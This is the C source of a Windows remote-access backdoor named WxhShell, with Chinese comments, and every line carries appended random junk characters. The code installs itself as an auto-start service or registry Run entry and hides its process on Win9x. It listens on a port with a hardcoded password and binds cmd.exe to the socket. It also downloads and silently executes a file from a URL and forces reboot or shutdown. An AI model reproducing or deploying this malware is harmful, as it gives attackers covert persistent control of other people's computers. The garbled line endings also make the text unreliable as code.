    if(Boot(SHUTDOWN)) PWU8 9YXp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ){'Ef_/R  
    else { @D:$~4ks  
    closesocket(wsh); o u%Xnk~  
    ExitThread(0); Q[5j5vry  
    } TV^m1uC  
    break; R 1CoS6  
    } L?[NXLn+  
  // 获取shell f9R~RRz  
  case 's': { |ATz<"q>  
    CmdShell(wsh); WX2:c,%:  
    closesocket(wsh); 3}U {~l!K  
    ExitThread(0); ?ks3K-.4  
    break; #2&DDy)B f  
  } 2@&|/O6_\h  
  // 退出 RXo!K iQO  
  case 'x': { a?635*9K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fV}:eEo|Y  
    CloseIt(wsh); 1Z. D3@  
    break; 4$HU=]b6Tf  
    } ~3 ,>TV  
  // 离开 .TI =3*`G  
  case 'q': { ):LgZ4h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P~"e=NL5  
    closesocket(wsh); &nJH23h ^  
    WSACleanup(); B;k3YOg  
    exit(1); <o JM||ZA  
    break; R8Kj3wp  
        } l+%2kR  
  } :[hZn/  
  } e7T}*Up  
+`y{r^xD  
  // 提示信息 {xW HKsI>,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `,-w+3?Al  
} BYh F?  
  } uv&??F]/  
D's Tv}P  
  return; I-L52%E]  
} 7FQ&LF46  
i. O670D  
// shell模块句柄 A>C&`A=-  
int CmdShell(SOCKET sock) _zuaImJ0o  
{ `a$c6^a  
STARTUPINFO si; . 5cL+G1k#  
ZeroMemory(&si,sizeof(si)); 1R}rL#h;=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A }(V2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2 %`~DVo  
PROCESS_INFORMATION ProcessInfo; q:}Q5gzZ  
char cmdline[]="cmd"; DQ#rZi3I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H<Ne\zAv  
  return 0; q?&Ap*  
} &oU) ,H  
t[dOWgHi  
// 自身启动模式 XBvJc'(s  
int StartFromService(void) 8Uv2p{ <#  
{ eUY/H1  
typedef struct { :^;byd  
{ ~2HlAU))<&  
  DWORD ExitStatus;  BVJ6U[h`  
  DWORD PebBaseAddress; 5mtsN#  
  DWORD AffinityMask; zCpsGr  
  DWORD BasePriority; &3@ {?K  
  ULONG UniqueProcessId; IdHyd Y1  
  ULONG InheritedFromUniqueProcessId; ?.A~O-w  
}   PROCESS_BASIC_INFORMATION; HITw{RPrW  
a/@F?\A  
PROCNTQSIP NtQueryInformationProcess; FrKI=8  
V:YN!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bi@z<Xm%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :!'!V>#g  
?j'Nx_RoX  
  HANDLE             hProcess; FZk=-.Hk  
  PROCESS_BASIC_INFORMATION pbi; %ZKP d8  
?QJS6i'k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IasWm/  
  if(NULL == hInst ) return 0; Rhfx  
g-4m.;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yA+ NRWWj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  Zk={3Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ekR/X  
r bfIH":  
  if (!NtQueryInformationProcess) return 0; cs-wqxTX[$  
6I<^wS9j_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3 |se]~  
  if(!hProcess) return 0; |H .  
gpvzOW/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qk+RZ>T<o  
ep,"@,,  
  CloseHandle(hProcess); C>MEgGP  
p%ve1>c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VR'R7  
if(hProcess==NULL) return 0; '5f6 M^}|2  
7o99@K,  
HMODULE hMod; :l;SG=scx  
char procName[255]; w3<%wN>tE  
unsigned long cbNeeded; 0 %W0vTvL  
Q>%{Dn\?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r;7&U<j~Z  
]ChGi[B~9  
  CloseHandle(hProcess); ]%Db%A  
~zd+M/8  
if(strstr(procName,"services")) return 1; // 以服务启动 4#MPD  
='[J.  
  return 0; // 注册表启动 \nzaF4+$  
} tCVaRP8eC+  
0etJ, _">  
// 主模块 3g{T+c*  
int StartWxhshell(LPSTR lpCmdLine) aioN)V  
{  BH<jnQ  
  SOCKET wsl; ozCH1V{p  
BOOL val=TRUE; rGqT[~{t  
  int port=0; ]di^H>,xU  
  struct sockaddr_in door; 4WAs_~  
^*$lCUv8p  
  if(wscfg.ws_autoins) Install(); Fr|Ts>Kx  
=>0 G  
port=atoi(lpCmdLine); (fTi1 I!  
)q8!:Z  
if(port<=0) port=wscfg.ws_port; OL2 b  
N E/_  
  WSADATA data; ,zP.ch0K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {0~xv@ U  
m"|AD/2;(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8q"C=t7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); te*|>NRS  
  door.sin_family = AF_INET; ,|7!/]0&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gm1 7VrC  
  door.sin_port = htons(port); G@(ukt`0}  
!A|ayYBb\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  %&81xAt  
closesocket(wsl); 8 Buus  
return 1; M3EB=tU  
} D=!T,p=  
aSEzh7 8  
  if(listen(wsl,2) == INVALID_SOCKET) { S [=l/3c  
closesocket(wsl); 9x]yu6  
return 1; a*N<gId  
} SO#R5Mu2N  
  Wxhshell(wsl); R)Y*<Na  
  WSACleanup(); :9.QhY)D  
v K7J;U+cJ  
return 0; scZSnCrR  
|%tI!RN):  
} ~]l T>|X  
C%ZSsp u  
// 以NT服务方式启动 abczW[\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RHj<t");  
{ }|-Yd"$  
DWORD   status = 0; km=d'VvnI  
  DWORD   specificError = 0xfffffff; Eo@b)h  
{sR|W:fS$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 79y'PFSms  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b'mp$lt!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [CAV"u)0  
  serviceStatus.dwWin32ExitCode     = 0; wQR0R~|M  
  serviceStatus.dwServiceSpecificExitCode = 0; rl0|)j  
  serviceStatus.dwCheckPoint       = 0; N NTUl$  
  serviceStatus.dwWaitHint       = 0; 5n#@,V.O/  
\1H~u,a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IS [&V&.n  
  if (hServiceStatusHandle==0) return; -+H?0XN  
g-O}e4  
status = GetLastError(); dp=#|!jc  
  if (status!=NO_ERROR) +}Q@{@5w  
{ Lk8NjK6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YYi:d=0<SO  
    serviceStatus.dwCheckPoint       = 0; mcm8|@Y{  
    serviceStatus.dwWaitHint       = 0; us2RW<Oxv  
    serviceStatus.dwWin32ExitCode     = status; 4/+P7.}ea-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?]Wg{\NC6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =.9uuF:  
    return; .0ExHcr  
  } hL(zVkYI  
IuOY.c2.u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q s 0'}>  
  serviceStatus.dwCheckPoint       = 0; m{ VC1BkZ  
  serviceStatus.dwWaitHint       = 0; 9i`sSi8   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V.H<KyaJ  
} O<}KrmUC~  
n| [RXpAp3  
// 处理NT服务事件,比如:启动、停止 [ KT1.5M[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i3usZ{_r  
{ w}:&+B:  
switch(fdwControl) W:TF8Onw  
{ d2=Z=udd  
case SERVICE_CONTROL_STOP: TQiDbgFo  
  serviceStatus.dwWin32ExitCode = 0; dZi ?Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +1(L5Do}  
  serviceStatus.dwCheckPoint   = 0; uHu(   
  serviceStatus.dwWaitHint     = 0; A DW>  
  { g0M9v]c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5IfyD ]<  
  } tI;pdR]  
  return; |`c=`xK7'  
case SERVICE_CONTROL_PAUSE: qFwJ%(IQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r[votdFo  
  break; ~L3]Wa.  
case SERVICE_CONTROL_CONTINUE: @, %IVKg\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 18{" @<wIs  
  break; -< RG'I~  
case SERVICE_CONTROL_INTERROGATE: S mjg[  
  break; 48t_?2>  
}; *j/[5J0'M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /GDGE }  
}  ET:B"  
lMW4SRk1C  
// 标准应用程序主函数 GT(nW|v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jn/ J-X=  
{ f6O5k8n  
VsTa!V^~  
// 获取操作系统版本 ,^d!K(xb  
OsIsNt=GetOsVer(); yG%<LP2p@f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W%.ou\GN^t  
%@4/W  N  
  // 从命令行安装 ;~ , <8  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ad'b{C%  
ZA! yw7~  
  // 下载执行文件 /N?vVp  
if(wscfg.ws_downexe) { v<SCh)[-p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  d(>  
  WinExec(wscfg.ws_filenam,SW_HIDE); )?qH#>mD6  
} {;[W'Lc  
6~b]RZe7  
if(!OsIsNt) { m=.}}DcSs  
// 如果时win9x,隐藏进程并且设置为注册表启动 @*}?4wU^k  
HideProc(); zJCm0HLJ  
StartWxhshell(lpCmdLine); f:6%DT~a&C  
} 5J0Sc  
else b( qO fek  
  if(StartFromService()) (}:n#|,{M  
  // 以服务方式启动 o 2Okc><z  
  StartServiceCtrlDispatcher(DispatchTable); Y#[>j4<T  
else bo%v(  
  // 普通方式启动 oY$L  
  StartWxhshell(lpCmdLine); fj,]dQ T  
<z+b88D  
return 0; 8ta`sNy9  
} g\O&gNq<)-  
]0yYMnqvr  
|fTWf}Jx  
@Y8/#6KE  
=========================================== ( 8}'JvSu  
~~D =Z#  
u>U4w68  
\XI9 +::%  
A0hfy|1#L  
w:~Y@ b~D  
" ,O[Maj/ch  
JMa[Ulz  
#include <stdio.h> rDvz2p"R  
#include <string.h> ; D a[jFP  
#include <windows.h> us,1:@a)a  
#include <winsock2.h> tm[e?+Iq  
#include <winsvc.h> y!;PBsU%Sx  
#include <urlmon.h> `4N{x.N  
~BJ~]~0P`  
#pragma comment (lib, "Ws2_32.lib") ['l.]k-b}  
#pragma comment (lib, "urlmon.lib") Uq8=R)1<|d  
[q5N 4&q\  
#define MAX_USER   100 // 最大客户端连接数 *wOuw@09  
#define BUF_SOCK   200 // sock buffer :>t^B+  
#define KEY_BUFF   255 // 输入 buffer 1FO T  
>tFv&1iR  
#define REBOOT     0   // 重启 NcVsQV  
#define SHUTDOWN   1   // 关机 Y3J;Kk#AH  
iH#b"h{w  
#define DEF_PORT   5000 // 监听端口 14,Pf`5Sz  
'z}Hg *  
#define REG_LEN     16   // 注册表键长度 }CyS_Tc  
#define SVC_LEN     80   // NT服务名长度 3>I   
8iDg2_l`G  
// 从dll定义API -< 0PBl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q:#Kt@W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V&>\U?q:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J/o$\8tiMw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w_sA8B  
yXdJ5Me(T  
// wxhshell配置信息 G L> u3K  
struct WSCFG { 5cza0CriJ  
  int ws_port;         // 监听端口 RC']"jpW  
  char ws_passstr[REG_LEN]; // 口令 *xl930y  
  int ws_autoins;       // 安装标记, 1=yes 0=no $)fybn Y  
  char ws_regname[REG_LEN]; // 注册表键名 EC6Q<&]Iw  
  char ws_svcname[REG_LEN]; // 服务名 dT9ekNQB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1>!wm0;x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +z2+z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;Q0WCm\5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yQXHEB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RXj6L~vs5_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z U~o"Jv  
^S'#)H-8C3  
}; C;3>q*Am4  
=CE(M},d  
// default Wxhshell configuration fzVU9BU  
struct WSCFG wscfg={DEF_PORT, K[XFJ9  
    "xuhuanlingzhe", )E2^G)J$W  
    1, i{$h]D_fD  
    "Wxhshell", ,z1fiq  
    "Wxhshell", >,JA=s  
            "WxhShell Service", kZ0|wML8  
    "Wrsky Windows CmdShell Service", bxS+ R\  
    "Please Input Your Password: ", UW%.G  
  1, gtBnP~zT\B  
  "http://www.wrsky.com/wxhshell.exe", Ve1O<i  
  "Wxhshell.exe" T|c9Swu r  
    }; 2+Tu"oG;rB  
f~3_Rv!  
// 消息定义模块 E|aPkq]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1M4I7 *r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]757oAXl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c<8RRYs  
char *msg_ws_ext="\n\rExit."; ~alC5|wCUQ  
char *msg_ws_end="\n\rQuit."; gD\  =  
char *msg_ws_boot="\n\rReboot...";  MR/8  
char *msg_ws_poff="\n\rShutdown..."; {[&_)AW6m%  
char *msg_ws_down="\n\rSave to "; -[I}"Glz:  
\9S&j(I  
char *msg_ws_err="\n\rErr!"; KvM}g2"  
char *msg_ws_ok="\n\rOK!"; INyakAmJ}-  
Dw@0P  
char ExeFile[MAX_PATH]; B>11  
int nUser = 0; +P&;cCV`S3  
HANDLE handles[MAX_USER]; 'e3[m  
int OsIsNt; _TRO2p0  
{iv!A=jld  
SERVICE_STATUS       serviceStatus; r#K;@wu2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |Q'l&Gt6  
@Ik@1  
// 函数声明 u'?yc"d>#  
int Install(void); U*Hw t\  
int Uninstall(void); f&\v+'[p  
int DownloadFile(char *sURL, SOCKET wsh); qGE?[\t[6  
int Boot(int flag); )7e[o8O_6  
void HideProc(void); H nRd  
int GetOsVer(void); -'tgr6=|w"  
int Wxhshell(SOCKET wsl); bIP'(B#1K  
void TalkWithClient(void *cs); ZjE!? '(ef  
int CmdShell(SOCKET sock);  4I> I  
int StartFromService(void); |$r|DX1[  
int StartWxhshell(LPSTR lpCmdLine); ;btH[a iV  
z k[%YG&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DO!?]"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 31n5n  
S=^a''bg  
// 数据结构和表定义 S)@95pb  
SERVICE_TABLE_ENTRY DispatchTable[] = cNW [i"  
{ P8JN m"C  
{wscfg.ws_svcname, NTServiceMain}, 0@9.h{s@  
{NULL, NULL} uM8YY[b  
}; 5"Ibm D>D  
XeaO,P  
// 自我安装  !,*#e  
int Install(void) .Q pqbp 8  
{ u"%i3%Yjh  
  char svExeFile[MAX_PATH]; kQR kby  
  HKEY key; X^PR];V:$  
  strcpy(svExeFile,ExeFile); HS|X//]  
N{]|!#  
// 如果是win9x系统,修改注册表设为自启动 4JTFdbx  
if(!OsIsNt) { f!`,!dZgkd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4MVa[ 0Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <uugT9By  
  RegCloseKey(key); QY,.|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JNzNK.E!m-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2EubMG  
  RegCloseKey(key); }ug|&25D  
  return 0; {YCquoF  
    } EHT5Gf  
  } ndkV(#wQS  
} <y(uu(c  
else { Fejs9'cB  
X*2M Nx^K~  
// 如果是NT以上系统,安装为系统服务 2WjQ-mM#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $IL7c]Gw  
if (schSCManager!=0) eCY gi7?  
{ ^X%{]b K  
  SC_HANDLE schService = CreateService 9w -t9X>X  
  ( :@TfhQV_=Q  
  schSCManager, x}G["ZU}v]  
  wscfg.ws_svcname, zMT0ToG  
  wscfg.ws_svcdisp, &)Fp  
  SERVICE_ALL_ACCESS, Oj# nF@U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z2Bl$ \  
  SERVICE_AUTO_START, ;as4EqiK  
  SERVICE_ERROR_NORMAL, m8Q6ESg<*u  
  svExeFile, Q"UQv<  
  NULL, c~0YIk>]  
  NULL, :^DuB_  
  NULL, ellj/u61bj  
  NULL, V4GcW|P4y  
  NULL T jO}P\p  
  ); s4 o-*1R*`  
  if (schService!=0) bJD2c\qoc  
  { TxYxB1C)  
  CloseServiceHandle(schService); #c V_p  
  CloseServiceHandle(schSCManager); EPCu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bQlShVJL  
  strcat(svExeFile,wscfg.ws_svcname); JVAJL q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mg.xGST  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iHo2=Cz  
  RegCloseKey(key); &|7pu=  
  return 0; -Cxk#-sb#  
    } .~0A*a  
  } (( 0%>HJ{~  
  CloseServiceHandle(schSCManager); xp%,@] p  
} mnM#NT5]  
} 8t!/O p ?  
^tIi;7k  
return 1; "E;]?s9x  
} j_E$C.XU{g  
T<\Q4Coth  
// 自我卸载 |1G/J[E  
int Uninstall(void) U}7 a;4?  
{ " 1YARGu  
  HKEY key; tL1"Dt>  
u>j:8lhtV  
if(!OsIsNt) { x68$?CD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :] Jwcp  
  RegDeleteValue(key,wscfg.ws_regname); #$xiqL  
  RegCloseKey(key); 0n S69tH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }"j7Qy)cs  
  RegDeleteValue(key,wscfg.ws_regname); A-vK0l+  
  RegCloseKey(key); \?-`?QPux  
  return 0; mh>)N"  
  } 5V\\w~&/  
} 2HBYReQ  
} 9u/"bj  
else { r5z_{g  
%N@454enH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8V%(SV  
if (schSCManager!=0) K oPTY^  
{ +Sk;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \+mc   
  if (schService!=0) |s :b9sfA  
  { m M!H}|  
  if(DeleteService(schService)!=0) { ba^cw}5  
  CloseServiceHandle(schService); vW`{BWd  
  CloseServiceHandle(schSCManager); [1@ -F+  
  return 0; `#hdb=3  
  } yw`xK2(C$  
  CloseServiceHandle(schService); |HXI4 MU"  
  } X62h7?'Pd  
  CloseServiceHandle(schSCManager); 'u$e2^  
} 8moX"w\~_h  
} [)|P-x-<  
|a#4  
return 1; s`ly#+!.  
} p`-`(i=iJo  
}zi:nSpON  
// 从指定url下载文件 EoqUFa,  
int DownloadFile(char *sURL, SOCKET wsh) =h^cfyj  
{ JK.lL]<p i  
  HRESULT hr; Q*mzfsgr  
char seps[]= "/"; q bb:)>  
char *token; wE:hl  
char *file; ig^9lM'  
char myURL[MAX_PATH]; $Ml/=\EHOg  
char myFILE[MAX_PATH]; PA;RUe  
Fn*clx<  
strcpy(myURL,sURL); l?v-9l M  
  token=strtok(myURL,seps); #*;(%\q}  
  while(token!=NULL) Fxy-_%a  
  { g5/%}8[- 2  
    file=token; |*"uj  
  token=strtok(NULL,seps); k6-Q3W[+a  
  } vRYQ4B4o  
-J4?Km  
GetCurrentDirectory(MAX_PATH,myFILE); ^EE 3E'  
strcat(myFILE, "\\"); WK]SHiHD  
strcat(myFILE, file); >I Aw Nr  
  send(wsh,myFILE,strlen(myFILE),0); l2KR=& SX/  
send(wsh,"...",3,0); a0OH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v bzeabm  
  if(hr==S_OK) ipnvw4+  
return 0; .?9+1.`  
else ?c0OrvM  
return 1; a02;Zl  
K~OfC  
} v:(_-8:F  
 @*'|8%  
// 系统电源模块 HJ]\VP9Zb  
int Boot(int flag) i/R8Gb  
{ O`U&0lKi'  
  HANDLE hToken; Oz!#);v  
  TOKEN_PRIVILEGES tkp; M0DdrL/ L  
&mDKpYrB  
  if(OsIsNt) { \[oU7r}?/V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {`BC$V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iPX6 r4-  
    tkp.PrivilegeCount = 1; JzMPLmgG/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Udv5Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d9h"Q  
if(flag==REBOOT) { #\*ODMk$4|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2628 c`  
  return 0; Fyoy)y*  
} gE]) z*tqX  
else { J:Uf}!D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T (]  
  return 0; "knSc0 ,u  
} W+V#z8K  
  } Es6b~ #  
  else { JyWBLi;Z  
if(flag==REBOOT) { r 11:T3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aN{C86wx  
  return 0; y-O# +{7  
} '`$a l7D  
else { n}PK0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {C Qo}@.7  
  return 0; +ia  F$  
} SC)4u l%  
} V*xT5TljS-  
|rkj$s,  
return 1; [4sI<aH  
} J Sz'oA5  
,A9pj k'  
// win9x进程隐藏模块 Ps5UX6\ .m  
void HideProc(void) =wHHR1e  
{ LivPk`[  
I <`9ANe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6*%3O=*  
  if ( hKernel != NULL ) Y%:FawR  
  { <T{2a\i 4f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )nU%}Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fv=7~6~  
    FreeLibrary(hKernel); bs$x%CR  
  } SHS:>V  
o B;EP  
return; L {(\k$>'  
} awN{F6@ZE  
S]iMZ \I/  
// 获取操作系统版本 \^2%v~  
int GetOsVer(void) YJ_`[LnL  
{ j|!.K|9B  
  OSVERSIONINFO winfo; JCZ"#8M3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =A&x d"  
  GetVersionEx(&winfo); /WXy!W30<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FU/yJy  
  return 1; " ,&#9  
  else Va,M9)F  
  return 0; "H\'4'hg  
} Bi2be$nV  
;%P$q9 *C  
// 客户端句柄模块 sL|lfc'bB  
int Wxhshell(SOCKET wsl) wP3_RA]z  
{ ei'=%r8~  
  SOCKET wsh; BUB#\v#a  
  struct sockaddr_in client; eSf e s  
  DWORD myID; x;" !  
;mH1J'.(a  
  while(nUser<MAX_USER) z:<mgp&/<  
{ [q]"_4L0;d  
  int nSize=sizeof(client); A,D67G<v`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iaO;i1K5U  
  if(wsh==INVALID_SOCKET) return 1; uP/PVoKQ  
! )$ PD@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V0+D{|thh6  
if(handles[nUser]==0) |$@/ Z +  
  closesocket(wsh); '0x`Oh&PK  
else &P{  
  nUser++; z!27#gbL  
  } Gs%IZo_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1><\3+8  
]z`Y'wSxd  
  return 0; xMJF1O?3  
} vf(8*}'!Q  
Dgh|,LqUB  
// 关闭 socket 6J0HaL  
void CloseIt(SOCKET wsh) u38FY@U$  
{ JmdXh/X  
closesocket(wsh); (x,w/1  
nUser--; d&'z0]mOe  
ExitThread(0); K_j$iHqLF  
} %:^,7 .H@  
Ai\"w0  
// 客户端请求句柄 9frP`4<)  
void TalkWithClient(void *cs) |VM c,_D  
{ >ijFQ667>j  
%||}WT-wv  
  SOCKET wsh=(SOCKET)cs; ?z0f5<dL  
  char pwd[SVC_LEN]; `C"Slz::  
  char cmd[KEY_BUFF]; :Z(?Ct&8  
char chr[1]; |5)~WoV/G  
int i,j; :gv`)  
yA_;\\  
  while (nUser < MAX_USER) { 9i@AOU  
X1G[&  
if(wscfg.ws_passstr) { fU^B 3S6X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HH+R47%*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s>z$_  
  //ZeroMemory(pwd,KEY_BUFF); $@d`Kz;  
      i=0; `EVTlq@<  
  while(i<SVC_LEN) { j-|YE?AA  
> kOca  
  // 设置超时 BX$t |t;!m  
  fd_set FdRead; p'1n'|$e  
  struct timeval TimeOut; M>J8J*  
  FD_ZERO(&FdRead); *0M#{HQ  
  FD_SET(wsh,&FdRead); B[7|]"L@  
  TimeOut.tv_sec=8; Lu\]]m  
  TimeOut.tv_usec=0; Z'dY,<@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1) V,>)Ak  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y'"2s~_ Z  
h-hU=I8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =MO2M~e!  
  pwd=chr[0]; FV^CSaN[R  
  if(chr[0]==0xd || chr[0]==0xa) { ;`g\Tu  
  pwd=0; Pi::cf>3  
  break; 3=~"<f l  
  } -H~g+i*J  
  i++; >R3~P~@30  
    } _H^Ij  
6~GaFmW=  
  // 如果是非法用户,关闭 socket vFY/o,b \  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pW O-YZ#+  
} =Xzqp,  
f ^mxj/%L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8,2l >S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d}tn/Eu?B  
9x.vz  
while(1) { OqUEj 0X  
wqBGJ   
  ZeroMemory(cmd,KEY_BUFF); LA$uD?YA  
1Lwi?~!LI  
      // 自动支持客户端 telnet标准   C3-l(N1O{  
  j=0; pVn 6>\xa  
  while(j<KEY_BUFF) { f]"][!e!,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oQ~Q?o]Ri  
  cmd[j]=chr[0]; (FZL>  
  if(chr[0]==0xa || chr[0]==0xd) { 8h9t8?  
  cmd[j]=0; a*&P>Lwe7&  
  break; 6"WR}S0o  
  } gVCkj!{  
  j++; ||hy+f[A  
    } D2|-\vJ>  
'GQ1;9A57  
  // 下载文件 *{tn/ro6a  
  if(strstr(cmd,"http://")) { a{Y:hrd:Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o*97Nbjn  
  if(DownloadFile(cmd,wsh)) h *)spwF-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? Ldw\  
  else mU:C{<Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >#dNXH]9  
  } 0:Js{$ZL4  
  else { kM]:~b2  
n|NI]Qi*  
    switch(cmd[0]) { KL*ZPKG  
